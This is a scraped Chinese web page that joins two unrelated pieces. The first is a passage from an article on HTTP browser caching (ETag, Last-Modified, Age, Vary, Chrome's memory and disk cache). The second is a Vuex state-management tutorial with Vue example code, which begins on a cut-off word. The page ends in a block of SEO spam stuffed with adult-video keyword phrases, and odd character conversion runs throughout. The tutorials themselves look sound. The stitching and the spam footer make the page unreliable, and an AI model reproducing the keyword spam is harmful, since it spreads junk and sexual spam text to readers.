          

          這兩個的區(qū)別是: Last-Modified 是服務器發(fā)送給客戶端的,If-Modified-Since 是客戶端發(fā)送給服務器的。

          問題 Last-Modified 機制和 ETag 機制的區(qū)別和優(yōu)先級是怎樣的?

          Last-Modified 只能精確到秒,所以在秒級以下的更改無法檢測到。而 ETag 可以表征文件的任何更改,只要文件變化 ETag 就會變化。所以 Last-Modified 是一個備用機制,優(yōu)先級不如 Etag。

          客戶端請求帶有 If-None-Match 在服務端校驗匹配則返回 304,校驗不匹配則返回 200,同時返回最新的資源和 Etag。

          Age

          Age 消息頭里包含消息對象在緩存代理中存貯的時長,以秒為單位。

          Age 消息頭的值通常接近于0。表示此消息對象剛剛從原始服務器獲取不久;其他的值則是表示代理服務器當前的系統(tǒng)時間與此應答消息中的通用消息頭 Date 的值之差。

          Age: <delta-seconds>
          復制代碼
          

          age: 1135860
          復制代碼
          

          Date

          Date 是一個通用首部,其中包含了報文創(chuàng)建的日期和時間。

          指的是響應生成的時間. 請求經(jīng)過代理服務器時, 返回的 Date 未必是最新的, 通常這個時候, 代理服務器將增加一個 Age 字段告知該資源已緩存了多久.

          Date: Wed, 21 Oct 2015 07:28:00 GMT 
          復制代碼
          

          Vary

          Vary 是一個HTTP響應頭部信息,它決定了對于未來的一個請求頭,應該用一個緩存的回復(response)還是向源服務器請求一個新的回復。它被服務器用來表明在 content negotiation algorithm(內(nèi)容協(xié)商算法)中選擇一個資源代表的時候應該使用哪些頭部信息(headers)。

          對于服務器而言, 資源文件可能不止一個版本, 比如說壓縮和未壓縮, 針對不同的客戶端, 通常需要返回不同的資源版本。 比如說老式的瀏覽器可能不支持解壓縮, 這個時候, 就需要返回一個未壓縮的版本; 對于新的瀏覽器, 支持壓縮, 返回一個壓縮的版本, 有利于節(jié)省帶寬, 提升體驗. 那么怎么區(qū)分這個版本呢, 這個時候就需要 Vary 了。

          服務器通過指定 Vary: Accept-Encoding, 告知代理服務器, 對于這個資源, 需要緩存兩個版本: 壓縮和未壓縮. 這樣老式瀏覽器和新的瀏覽器, 通過代理, 就分別拿到了未壓縮和壓縮版本的資源, 避免了都拿同一個資源的尷尬。

          Vary: Accept-Encoding,User-Agent
          復制代碼
          

          如上設(shè)置, 代理服務器將針對是否壓縮和瀏覽器類型兩個維度去緩存資源. 如此一來, 同一個url, 就能針對 PC 和 Mobile 返回不同的緩存內(nèi)容。

          怎么讓瀏覽器不緩存靜態(tài)資源

          可以設(shè)置 Cache-Control

          Cache-Control: no-cache, no-store, must-revalidate
          復制代碼
          

          也可以給資源增加版本號,這樣可以很方便地控制什么時候加載最新資源,這也是目前做版本更新比較常用的手段,即使老資源還在有效期內(nèi),加上了 query、hash。

          <link rel="stylesheet" type="text/css" href="../css/style.css?version=1.8.9"/>
          復制代碼
          

          用戶行為與緩存

          用戶按 f5(ctrl+r)、ctrl+f5、點擊前進后退 都會觸發(fā)緩存機制

          經(jīng)過本地測試發(fā)現(xiàn)和網(wǎng)上傳的有些出入,記錄如下(強緩存有效代表直接使用本地的緩存文件,Chrome 狀態(tài)碼為 200,協(xié)商緩存有效代表向服務器發(fā)起請求,服務器可能返回 304 無內(nèi)容或者 200 有內(nèi)容)。

          操作 強緩存 協(xié)商緩存 頁面鏈接跳轉(zhuǎn) 有效 有效 新開窗口 有效 有效 前進后退 有效 有效 地址欄回車 失效 或者 有效 有效 ctrl+r或者 f5 失效 有效 ctrl+f5 強制刷新 失效 失效

          地址欄回車和網(wǎng)絡(luò)上不一樣,打個比方,如果當前已經(jīng)在 http://localhost:3333/,然后在地址欄選中后回車,你會發(fā)現(xiàn)沒有緩存。

          但是如果當前不在 http://localhost:3333/ ,比如 http://localhost:3333/index.css 或者空白頁,然后輸入 http://localhost:3333/ 回車,這時候就會直接從本地緩存中讀取。

          驚喜不,意外不

          關(guān)于 memory cache 和 disk cache

          這兩種緩存類型存在于 Chrome 中。

          上個小標題 用戶行為與緩存,我們看到瀏覽器從本地讀緩存的時候有一個 disk cache,與之對應的還有一個 memory cache。看名字也能大概才出來,disk cache 是從硬盤中讀取的文件緩存,memory cache 是從內(nèi)存中直接讀取的內(nèi)容,速度上當然也是后者更快。

          那為什么要有這兩種緩存的形式呢?

          disk cache 存在硬盤,可以存很多,容量上限比內(nèi)容緩存高很多,而 memory cache 從內(nèi)存直接讀取,速度上占優(yōu)勢,這兩個各有各的好處!

          問題 瀏覽器如何決策使用哪種緩存呢?

          來自知乎 瀏覽器是根據(jù)什么決定「from disk cache」與「from memory cache」?

          劃重點!!關(guān)于 Chrome、FF、IE 的緩存區(qū)別

          這個內(nèi)容網(wǎng)絡(luò)上很少有文章介紹,經(jīng)過我測試之后發(fā)現(xiàn)區(qū)別挺大的。Chome 的緩存處理和另外兩個存在明顯的不同!

          上面講的強緩存、memory cache、disk cache 在 FF、IE 中都沒有明顯的區(qū)分,或許這就是 Chrome 速度快的原因?

          我們舉個例子,多次重復請求 https://www.baidu.com/,查看三個瀏覽器的區(qū)別。

          Chrome

          FF

          IE

          Chrome 中有強緩存、協(xié)商緩存,強緩存分為 memory cache、disk cache,這種處理機制可以最大化的利用緩存,減少發(fā)起的請求,從而優(yōu)化頁面加載速度!!Chrome 資源狀態(tài)碼都是 200,沒有 304,另外兩家都存在大量304,在 FF、IE 中,即使服務器明確表示資源需要進行強緩存,比如 Cache-Control: max-age=86400,他們?nèi)匀徊粫盟^的強緩存策略,仍然會向服務器發(fā)送請求,服務器返回 304 ,告訴瀏覽器用你本地的資源就好了!!!

          怎么知道這個請求確實是發(fā)送到了代理或者真實服務器呢?我們上面有說 Age 和 Date,Age 表示當前請求在返回時,在代理那里的時間減去 Date 的時間,所以每次只要請求發(fā)出去了,Age 都會相比上一次增加!!!

          我們以掘金的 https://b-gold-cdn.xitu.io/v3/static/js/0.81b469df7a0dd87832a4.js 文件為例。在 FF 上,前一次的結(jié)果是

          刷一下

          Date 沒有變,表示都是使用的同一個真實服務器的響應資源,Age 后一次比前一次變大了,但是狀態(tài)碼都是 304,而緩存規(guī)則是 cache-control: s-maxage=2592199, max-age=2592199!!!

          所以想要做好緩存,需要考慮瀏覽器兼容的問題,綜合使用 http headers。

          既然 Etag 可以校驗資源是否更改,那為什么還要 Last-Modified 作為備用策略

          這個問題大多數(shù)講緩存的文章也沒有提及。

          Etag 是通過資源內(nèi)容生成的,所以會有一個計算成本存在,本如大圖片的更改,它的最后更改時間可以很容易獲得,但是計算 Etag 成本就會高很多了。

          原文鏈接:https://juejin.im/post/5da7286de51d4524a21c45d1

          家好,在前面的幾篇文章里我們一起學習了Vue相關(guān)的基礎(chǔ)知識,想復習基礎(chǔ)的同學可以點擊文末鏈接進行回顧。今天我們將學習 Vue 的 State Management(狀態(tài)管理):Vuex,我們在構(gòu)建大型應用時 ,State Management 的處理至關(guān)重要。

          一、Vuex 簡介

          隨著業(yè)務的增加,我們的應用程序也變得越來越復雜,每個組件都有自己的數(shù)據(jù)狀態(tài),再加上組件之間的數(shù)據(jù)傳遞問題,一個數(shù)據(jù)的變化會影響好幾個組件的連鎖反應,這就增加了我們定位問題的難度。

          因此要解決上述問題,我們就要集中管理數(shù)據(jù),在多個組件中共享數(shù)據(jù)狀態(tài)時——比如用戶的登錄信息或者UI組件的呈現(xiàn)狀態(tài)(按鈕禁用或加載數(shù)據(jù))。

          幸運的是,我們不需要手工去完成 State Management 的工作,許多流行的框架都能幫助我們管理數(shù)據(jù)狀態(tài),你可能聽說過Redux——React生態(tài)中比較流行的狀態(tài)管理解決方案。Vue當然也有自己的官方解決方案,稱作Vuex。他們共同的特點就是幫助我們集中管理數(shù)據(jù)狀態(tài)以及任何組件無需要父子關(guān)系,也能很容易進行數(shù)據(jù)之間的交互。


          二、Vuex 相關(guān)的幾個概念術(shù)語

          那我們?nèi)绾问褂肰uex呢?在使用之前,我們先看下下張圖,這張圖很好的詮釋了 Vuex 的運行機制,理解了這張圖,你就可以很快的上手Vuex的使用了。


          要掌握Vuex理解以下幾個概念很重要:

          State

          整個應用的數(shù)據(jù)中心,應用的相關(guān)組件在這里獲取數(shù)據(jù)或更新數(shù)據(jù),是整個應用唯一的數(shù)據(jù)中心。

          Store

          數(shù)據(jù)中心的管家,只能在數(shù)據(jù)中心的內(nèi)部進行更改,外部組件無法進行直接更改State,只能依賴dispatch action(行為調(diào)度) 或 commit a mutation(提交mutation)間接操作。

          Getters

          Getters 的本質(zhì)就是 Vuex store 的 computed 屬性,讀取 store/state 的內(nèi)容,Getters中的數(shù)據(jù)將會被緩存,數(shù)據(jù)更新時其依賴的相關(guān)組件狀態(tài)也隨之及時更新。

          Mutations

          在應用中共享全局數(shù)據(jù)狀態(tài)時,也會導致一些問題,因為數(shù)據(jù)的改變可以來自任何組件,因此很難定位和跟蹤數(shù)據(jù)的狀態(tài)。

          因此 Vuex 提出了使用 Mutations 這種方式進行更改數(shù)據(jù)的狀態(tài),并不是直接進行更改,其 Vue devtools 工具能很好很準確幫我定位哪些更改以及何時進行的更改。

          如果你使用過 Redux ,Mutations 的概念很類似 reducer,其作用也是對數(shù)據(jù)狀態(tài)進行更改。

          Actions

          如果要執(zhí)行異步任務或多個相關(guān)的Mutations去更新數(shù)據(jù)狀態(tài)時,我們需要 Actions 去定義函數(shù)進行操作,其函數(shù)第一個參數(shù) context 可以獲 state , commit 和 getters 的相關(guān)屬性,方便我們組織定義更復雜的邏輯。比如我們常用的接口數(shù)據(jù)請求獲取數(shù)據(jù),就會經(jīng)常用到Actions。

          最后做下總結(jié),我們使用 Store/State 定義和管理應用的核心數(shù)據(jù),在組件中通過compute屬性調(diào)用Getters 中的數(shù)據(jù),如果我們要操作數(shù)據(jù),我們可以通過使用 dispatch 方法調(diào)用已注冊的 Actions 方法,Actions 再去調(diào)用相關(guān)的 mutations 進行數(shù)據(jù)的操作。

          三、動手做一個簡單例子

          接下來我們親自動手做一個簡單的練習,通過代碼進一步的了解Vuex,廢話不多說,我們開始吧!

          1、安裝 Vuex

          假設(shè)我們通過 CLI 工具創(chuàng)建了一個Vue 項目(使用默認預設(shè)),如果我們要使用 Vuex 就要安裝相關(guān)依賴,安裝命令如下:

          npm install vuex

          依賴安裝完成后,我們需要將Vuex實例進行注冊,接下來我們在src目錄里新建個 store.js ,示例代碼如下:

          src/store.js

          import Vue from "vue";
          import Vuex from "vuex";
          Vue.use(Vuex);
          export default new Vuex.Store({
            state: {},
            mutations: {},
            actions: {}
          });

          我們在 Vuex.store 構(gòu)造函數(shù)里傳入一個對象,含有 state , mutations 及actions 這幾個核心屬性,不用擔心,我們來一步步逐一實現(xiàn),接下來我們打開 main.js 文件,在Vue實例里進行注冊,示例代碼如下:

          src/main.js

          import Vue from "vue";
          import App from "./App.vue";
          import store from "./store";
          Vue.config.productionTip = false;
          new Vue({
            store,
            render: h => h(App)
          }).$mount("#app");

          完成上述操作后,我們就能很方便的通過 this.$store 訪問 store 實例的內(nèi)容。

          2、在 State 里初始化數(shù)據(jù)

          State 本身就是一個 JS 對象,創(chuàng)建的數(shù)據(jù)可以在不同的組件中進行共享,比如初始化一個購物車的數(shù)據(jù),示例代碼如下:

          export default new Vuex.Store({
            state: {
              customerName: 'John Smith',
              shoppingCart: [
                {
                  name: 'Jumbo Box of Teabags',
                  quantity: 1,
                  price: 350
                },
                {
                  name: 'Packet of Fancy Biscuits',
                  quantity: 1,
                  price: 199
                },
              ]
            },
          });

          狀態(tài)屬性的值可以包含任何有效的數(shù)據(jù)類型,接下來我們可以在組件中使用 computed 進行數(shù)據(jù)的獲取,比如我們要獲取顧客的名字,示例代碼如下:

          <template>
            <div>
              <span>{{ customerName }}</span>
            </div>
          </template>
          <script>
          export default {
            computed: {
              customerName() {
                return this.$store.state.customerName;
              }
            }
          }
          </script>

          上述代碼我們通過 store 實例進行數(shù)據(jù)獲,也許你會覺得這樣獲取很啰嗦,Vuex 提供了一個工具函數(shù)能很方便的獲取 store 實例的數(shù)據(jù)。

          使用 mapState 方法,示例代碼如下:

          <template>
            <div>
              <span>{{ customerName }}</span>
            </div>
          </template>
          <script>
          import { mapState } from "vuex";
          export default {
            computed: {
              ...mapState(['customerName'])
            }
          }
          </script>

          mapState() 方法使用 ES6 的新語法 ... 幫助我們獲取 State 中的數(shù)據(jù),只需要在函數(shù)里傳遞State對應的屬性值即可,這樣是不是很簡單呢。

          3、在 Getters 里獲取數(shù)據(jù)

          Getters 的本質(zhì)就是 Vuex store 的 computed 屬性,它允許你可以在不同組件之間共享數(shù)據(jù)狀態(tài),就和組件的 computed 屬性是一樣的,其中的數(shù)據(jù)將會被緩存,數(shù)據(jù)發(fā)生變化時,進行動態(tài)計算,實時反饋。

          比如我們要獲取購物車商品的商品種類,示例代碼如下:

          export default new Vuex.Store({
            state: {
              shoppingCart: [
                // ...
              ]
            },
            getters: {
              cartItemCount: state => state.shoppingCart.length
            }
          });

          在組件中使用 getter 方法來獲取 store/state ,我們需要創(chuàng)建一個 computed 屬性進行調(diào)用,示例代碼如下:

          <template>
            <div>
              <span>Shopping Cart ({{ cartItemCount }} items)</span>
            </div>
          </template>
          <script>
          export default {
            computed: {
              cartItemCount() {
                return this.$store.getters.cartItemCount;
              }
            }
          }
          </script>

          同樣 Vuex 提供了一個更便捷的方法 mapGetters() 快速調(diào)用 getter,我們傳遞getters 對象的屬性值即可,示例代碼如下:

          <template>
            <div>
              <span>Shopping Cart ({{ cartItemCount }} items)</span>
            </div>
          </template>
          <script>
          import { mapGetters } from "vuex";
          export default {
            computed: {
              ...mapGetters(['cartItemCount'])
            }
          }
          </script>

          4、通過 Mutations 操作數(shù)據(jù)

          如果我們要進行數(shù)據(jù)狀態(tài)的更新,我們可以使用 Mutations 進行方法的定義,比如我們要更新購物車顧客的姓名,示例代碼如下:

          export default new Vuex.Store({
            state: {
              customerName: 'Fred'
            },
            mutations: {
              setCustomerName(state, name) {
                state.customerName = name;
              }
            }
          });

          接下來我們在調(diào)用的組件里定義方法,通過調(diào)用 mutations 的 setCustomerName 的方法進行數(shù)據(jù)操作,這里我們使用 commit() 方法進行調(diào)用,示例代碼如下:

          <template>
            <div>
              <p>{{ customerName }}</p>
              <input type="text" @input="updateName" :value="customerName" />
            </div>
          </template>
          <script>
          import { mapState } from "vuex";
          export default {
            name: "Example",
            computed: {
              ...mapState(['customerName'])
            },
            methods: {
              updateName(event) {
                this.$store.commit('setCustomerName', event.target.value);
              }
            }
          }
          </script>

          上述代碼,我們通過一個文本輸入框組件,進行顧客姓名信息的更改,同樣,你也猜到了,Vuex也提供了 mapMutations 方法,快速獲取對應的屬性方法,簡化后的調(diào)用方法,示例代碼如下:

          import { mapState, mapMutations } from 'vuex';
          export default {
            name: "Example",
            computed: {
              ...mapState(['customerName'])
            },
            methods: {
              ...mapMutations(['setCustomerName']),
              updateName(event) {
                this.setCustomerName(event.target.value);
              }
            }
          }

          你可能注意到,我們這里的操作是同步的,如果操作的數(shù)據(jù)需要等待,或者比較費時間,比如我們需要異步請求(AJAX)后端的數(shù)據(jù),我們就需要使用 actions ,這就是其存在的理由。

          5、使用 Actions 獲取接口數(shù)據(jù)

          講到這里,你也許會這樣理解,state 就好比 store/ state 的狀態(tài)樹,我們通過 commit 方法去調(diào)用mutations 定義的方法屬性去更新數(shù)據(jù)狀態(tài),使用 getters 屬性定義獲取狀態(tài)樹的數(shù)據(jù)集合。

          Actions 則為我們提供了異步獲取后端數(shù)據(jù)API接口的規(guī)則,比如我們要獲取一組用戶列表信息,示例代碼如下:

          import Vue from "vue";
          import Vuex from "vuex";
          import axios from "axios";
          Vue.use(Vuex);
          export default new Vuex.Store({
            state: {
              users: [],
              isLoading: false,
            },
            mutations: {
              setLoadingTrue(state) {
                state.isLoading = true;
              },
              setLoadingFalse(state) {
                state.isLoading = false;
              },
              setUsers(state, users) {
                state.users = users;
              },
              setCustomerName(state, name) {
                state.customerName = name;
              }
            },
            actions: {
              getUsers(context) {
                context.commit('setLoadingTrue');
                axios.get('/api/users')
                  .then(response => {
                    context.commit('setUsers', response.data);
                    context.commit('setLoadingFalse');
                  })
                  .catch(error => {
                    context.commit('setLoadingFalse');
                    // handle error
                  });
              }
            }
          });

          在上述例子里,我們定義了數(shù)據(jù)請求中的狀態(tài),默認為false,請求數(shù)據(jù)時將其定義為true,請求完畢或接口異常時,將其重置為初始值。之所以定義這個狀態(tài)值,方便前端組件進行UI的展示,提示用戶數(shù)據(jù)正在加載中。

          接下來我們可以通過 Vuex Store 提供的 this.$store.dispatch() 方法調(diào)用actions 定義的方法,但是也可以通過 mapActions() 來簡化代碼的調(diào)用,示例代碼如下:

          <template>
            <div>
              <div id="spinner" v-if="isLoading">
                <img src="spinner.gif" />
              </div>
              <ul v-else>
                <li v-for="(user, index) in users" :key="index" >{{ user }}</li>
              </ul>
            </div>
          </template>
          <script>
          import { mapActions, mapState } from "vuex";
          export default {
            computed: {
              ...mapState([
                'isLoading',
                'users'
              ])
            },
            methods: {
              ...mapActions(['getUsers'])
            },
            created() {
              this.getUsers();
            }
          }
          </script>

          通過以上代碼示例,想必大家對 state,store,getters, mutations,actions 有了更深刻的認識吧。

          四、一個完整的項目示例

          最后我們做一個完整的例子,對上述的學習進行一個鞏固,我們來做一個用戶信息列表和一個用戶信息詳細頁,通過后端接口的形式進行獲取。

          我們先通過 CLI 腳手架使用 manually 創(chuàng)建項目,確保我們選擇了 Vue Router 和 Vuex 選項,創(chuàng)建完成后,我們修改下項目的 index.html 頁面,添加一些基礎(chǔ)的CSS樣式信息。示例代碼如下:

          public/index.html

          <html>
            <head>
              <meta charset="utf-8" />
              <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
              <meta name="viewport"
              content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
              <title>Vuex Example - Jump Start Vue.js</title>
              <link rel="stylesheet" type="text/css"
              href="<https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.3.1/semantic.min.css>">
              <style type="text/css">
                body {
                  background-color: #FFFFFF;
                }
                .ui.menu .item img.logo {
                  margin-right: 1.5em;
                }
                .main.container {
                  margin-top: 7em;
                }
              </style>
            </head>
            <body>
              <div id="app"></div>
            </body>
          </html>

          接著我們繼續(xù)修改下 <App> 組件的內(nèi)容,代碼如下:

          src/App.vue

          <template>
            <div>
              <div class="ui fixed inverted menu">
                <div class="ui container">
                  <div class="header item">
                    <img class="logo" src="./assets/logo.png">
                    Jump Start Vue.js
                  </div>
                  <router-link class="item" to="/" exact>Home</router-link>
                  <router-link class="item" to="/users">Users</router-link>
                </div>
              </div>
              <router-view></router-view>
            </div>
          </template>
          <script>
          import { mapActions } from "vuex";
          export default {
            name: "App",
            methods: {
              ...mapActions(["fetchUsers"])
            },
            created() {
              this.fetchUsers();
            }
          };
          </script>

          你可能注意到,上述代碼我們創(chuàng)建了 <router-link> 組件,方便我們進行頁面之間的切換,同時我們調(diào)用了mapActions 中的 fetchUsers 方法,用于應用一加載,我們就去請求后端數(shù)據(jù),獲取用戶信息。

          接下來,我們來編寫Vuex的核心文件,store.js 文件,示例代碼如下:

          src/store.js

          import Vue from "vue";
          import Vuex from "vuex";
          import axios from "axios";
          Vue.use(Vuex);
          export default new Vuex.Store({
            state: {
              users: [],
              selectedUserId: null,
              isFetching: false
            },
            mutations: {
              setUsers(state, { users }) {
                state.users = users;
              },
              setSelectedUser(state, id) {
                state.selectedUserId = id;
              },
              setIsFetching(state, bool) {
                state.isFetching = bool;
              }
            },
            getters: {
              selectedUser: state =>
                state.users.find(user => user.login.uuid === state.selectedUserId)
            },
            actions: {
              fetchUsers({ commit }) {
                commit("setIsFetching", true);
                return axios
                  .get("<https://randomuser.me/api/?nat=gb,us,au&results=5&seed=abc>")
                  .then(res => {
                    setTimeout(() => {
                      commit("setIsFetching", false);
                      commit("setUsers", { users: res.data.results });
                    }, 2500);
                  })
                  .catch(error => {
                    commit("setIsFetching", false);
                    console.error(error);
                  });
              }
            }
          });

          上述代碼,這里不再過多解釋,因為和我們開頭的例子很類似,這里需要提一下,我們需要通過以下命令安裝 axios 依賴:

          npm install axios

          接下來,我們繼續(xù)編寫三個頁面組件:Home(首頁)、Users(用戶列表)、User(用戶信息頁)

          src/views/Home.vue

          <template>
            <div class="ui main text container">
              <h1 class="ui header">Vuex 數(shù)據(jù)管理</h1>
              <p>This is a basic Vuex example app, to demo the concepts learned in the
              ?accompanying chapter.</p>
              <p>Go to <router-link to="/users">Users</router-link></p>
            </div>
          </template>
          <script>
          export default {
            name: "Home"
          }
          </script>

          上面的代碼也不需要太多的解釋,首頁包含了一個鏈接,導向用戶信息列表頁。

          src/views/Users.vue

          <template>
            <div class="ui main text container">
              <h1 class="ui header">Users</h1>
              <div class="ui active inverted dimmer" v-if="isFetching">
                <div class="ui text loader">Loading</div>
              </div>
              <ul v-else>
                <li v-for="(user, index) in users" :key="index">
                  <router-link :to="{ name: 'user', params: { id: user.login.uuid }}">
                    {{ user.name.title }} {{ user.name.first }} {{ user.name.last }}
                  </router-link>
                </li>
              </ul>
            </div>
          </template>
          <script>
          import { mapState } from "vuex";
          export default {
            name: "Users",
            computed: {
              ...mapState([
                'isFetching',
                'users'
              ])
            }
          }
          </script>
          <style>
            li {
              text-transform: capitalize;
            }
          </style>

          上述代碼,我們通過 mapState 獲取了 isFetching,users 數(shù)據(jù)狀態(tài),第一個用于顯示數(shù)據(jù)是否正在加載中,第二個則是用戶的數(shù)據(jù)集合信息,并有專門的鏈接指向用戶信息詳情頁。

          src/views/User.vue

          <template>
            <div class="ui main text container" v-if="selectedUser">
              <div class="ui items">
                <div class="item">
                  <div class="image">
                    <img :src="selectedUser.picture.large">
                  </div>
                  <div class="content">
                    <a class="header">{{ fullName }}</a>
                    <div class="meta">
                      <span>{{ selectedUser.email }}</span>
                    </div>
                    <div class="description">
                      <p>{{ selectedUser.location.street }}, {{ selectedUser.location.city }},
                      {{ selectedUser.location.state }}, {{ selectedUser.location.postcode }}
                      </p>
                    </div>
                    <div class="extra">
                      {{ selectedUser.phone }}<br />
                      {{ selectedUser.cell }}
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </template>
          <script>
          import { mapGetters, mapMutations } from "vuex";
          export default {
            name: "Users",
            computed: {
              ...mapGetters(["selectedUser"]),
              fullName() {
                return `${this.selectedUser.name.first} ${this.selectedUser.name.last}`;
              }
            },
            methods: {
              ...mapMutations(["setSelectedUser"])
            },
            created() {
              const userId = this.$route.params.id;
              this.setSelectedUser(userId);
            }
          };
          </script>
          <style scoped>
            a.header, p {
              text-transform: capitalize;
            }
          </style>

          這個組件通過路由傳參,調(diào)用 Mutations 的方法,更新當前的用戶的數(shù)據(jù)狀態(tài)信息,并通過mapGetters 方法獲取 selectedUser 定義的屬性方法,讀取用戶的信息。

          最后我們來看下路由組件的定義,示例代碼如下:

          import Vue from "vue";
          import Router from "vue-router";
          import Home from "./views/Home.vue";
          import Users from "./views/Users.vue";
          import User from "./views/User.vue";
          Vue.use(Router);
          export default new Router({
            mode: "history",
            linkActiveClass: "active",
            routes: [
              {
                path: "/",
                name: "home",
                component: Home
              },
              {
                name: "users",
                path: "/users",
                component: Users
              },
              {
                name: "user",
                path: "/users/:id",
                component: User
              }
            ]
          });

          最后完成的項目效果如下圖所示:


          五、小節(jié)

          今天的分享就到這里,最后我們在做下小節(jié):

          • state 是一個JS對象,包含了整個應用程序中需要共享的數(shù)據(jù),在組件中,我們可以通過computed 屬性使用 Vuex 提供的 mapState 函數(shù)獲取數(shù)據(jù)
          • Getters 本質(zhì)是 Vuex Store 內(nèi)部的 computed 計算屬性,它允許你在不同的組件之間共享狀態(tài),在需要調(diào)用的組件里,我們創(chuàng)建 computed 屬性,調(diào)用 mapGetters() 獲取對應的屬性方法即可。
          • 組件不會直接去更改數(shù)據(jù)中心的內(nèi)容,當我們需要更新數(shù)據(jù)狀態(tài)時,需要使用 Store 提供的commit() 進行操作,調(diào)用Mutations定義的屬性方法即可。你也可以使用 mapMutations 的方法進行調(diào)用。有點需要注意的是,這里的數(shù)據(jù)操作是同步的。
          • Actions 永遠不會直接去操作 state 中的數(shù)據(jù),而是執(zhí)行一些組合邏輯,通常是異步的操作邏輯,將數(shù)據(jù)的操作委托給 mutations 中定義的方法 。Actions 內(nèi)部的方法,其中第一個參數(shù)是context,此參數(shù)對象包含了當前的 state , commit , 和 getter,你能很方便的組織復雜的邏輯。和 Mutations 一樣我們不能直接調(diào)用 Actions 里定義的方法,而是需要借助 this.$store.dispatch() 這個調(diào)度方法,除了這個方法,你還可以使用 mapActions() 進行更便捷的調(diào)用。

          六、Vue 基礎(chǔ)相關(guān)文章

          「vue基礎(chǔ)」新手快速入門篇(一)

          「vue基礎(chǔ)」Vue相關(guān)構(gòu)建工具和基礎(chǔ)插件簡介

          「vue基礎(chǔ)」手把手教你編寫一個簡單的 Vue 組件

          「vue基礎(chǔ)」深入學習如何編寫 Vue 組件

          「vue基礎(chǔ)」一篇淺顯易懂的 Vue 路由使用指南( Vue Router 上)

          「vue基礎(chǔ)」一篇淺顯易懂的 Vue 路由使用指南( Vue Router 下)


          本文大部分內(nèi)容翻譯來源:《Jump Start Vue.js》作者:Nilson Jacques

          鏈接: https://www.sitepoint.com/premium/books/jump-start-vue-js/read/5


          主站蜘蛛池模板: 亚洲国产欧美一区二区三区| 亚洲一区二区三区免费观看| 日韩精品无码久久一区二区三 | 一区二区高清视频在线观看| 久久精品无码一区二区app| 日韩一区二区超清视频| 国产精品亚洲综合一区在线观看 | 精品成人av一区二区三区| 亚洲国产精品一区第二页 | 在线日韩麻豆一区| 一区二区在线观看视频| 婷婷国产成人精品一区二| 后入内射国产一区二区| 精品久久一区二区| 国产一区二区在线观看app| 日本精品视频一区二区三区| 精品无码一区二区三区爱欲九九| 国产一区韩国女主播| 亚洲日韩国产欧美一区二区三区| 狠狠色婷婷久久一区二区三区| 国产成人一区二区动漫精品| 无码国产精品一区二区免费式直播 | 亚洲av福利无码无一区二区| 国语对白一区二区三区| 中文字幕日韩一区二区不卡| 色窝窝无码一区二区三区| 久久久91精品国产一区二区三区| 亚洲乱码国产一区网址| 国产一区二区三区高清视频| 精品在线一区二区三区| 日本一区视频在线播放| 亚洲国产成人久久综合一区77| 国产suv精品一区二区6| 福利一区福利二区| 中文字幕精品亚洲无线码一区应用| 国产AV一区二区精品凹凸| 国产无码一区二区在线| 亚洲国产精品一区二区久久hs| 人妻无码第一区二区三区 | 高清国产精品人妻一区二区 | 亚洲国产专区一区|